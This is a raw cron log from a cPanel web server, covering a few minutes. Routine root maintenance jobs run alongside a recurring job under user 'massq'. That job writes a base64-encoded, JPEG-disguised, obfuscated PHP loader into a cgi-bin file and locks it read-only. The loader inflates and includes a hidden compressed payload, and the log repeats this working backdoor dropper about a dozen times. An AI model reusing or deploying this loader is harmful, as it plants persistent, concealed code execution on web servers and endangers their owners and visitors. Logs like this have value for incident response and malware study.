Sep  8 13:04:01 server CROND[5074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:04:01 server CROND[5076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:04:01 server CROND[5077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:05:01 server CROND[5461]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 13:05:01 server CROND[5463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:05:01 server CROND[5465]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:05:01 server CROND[5468]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 13:05:01 server CROND[5470]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:05:01 server CROND[5467]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:05:01 server CROND[5471]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 13:05:01 server CROND[5469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:06:01 server CROND[6409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:06:01 server CROND[6410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:06:01 server CROND[6411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:07:01 server CROND[6904]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:07:01 server CROND[6905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:07:01 server CROND[6906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:08:01 server CROND[7339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:08:01 server CROND[7340]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:08:01 server CROND[7342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:09:01 server CROND[7723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:09:01 server CROND[7724]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 13:09:01 server CROND[7725]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:09:01 server CROND[7726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:10:01 server CROND[8121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:10:01 server CROND[8122]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 13:10:01 server CROND[8123]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 13:10:01 server CROND[8129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:10:01 server CROND[8127]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 13:10:01 server CROND[8131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:10:01 server CROND[8128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:10:01 server CROND[8126]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:11:01 server CROND[9054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:11:01 server CROND[9055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:11:01 server CROND[9056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:12:01 server CROND[9457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:12:01 server CROND[9459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:12:01 server CROND[9460]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 13:12:01 server CROND[9458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:13:01 server CROND[9836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:13:01 server CROND[9837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:13:01 server CROND[9838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:14:01 server CROND[10295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:14:01 server CROND[10296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:14:01 server CROND[10297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:15:01 server CROND[10682]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:15:01 server CROND[10683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:15:01 server CROND[10686]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:15:01 server CROND[10688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 13:15:01 server CROND[10690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:15:01 server CROND[10689]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
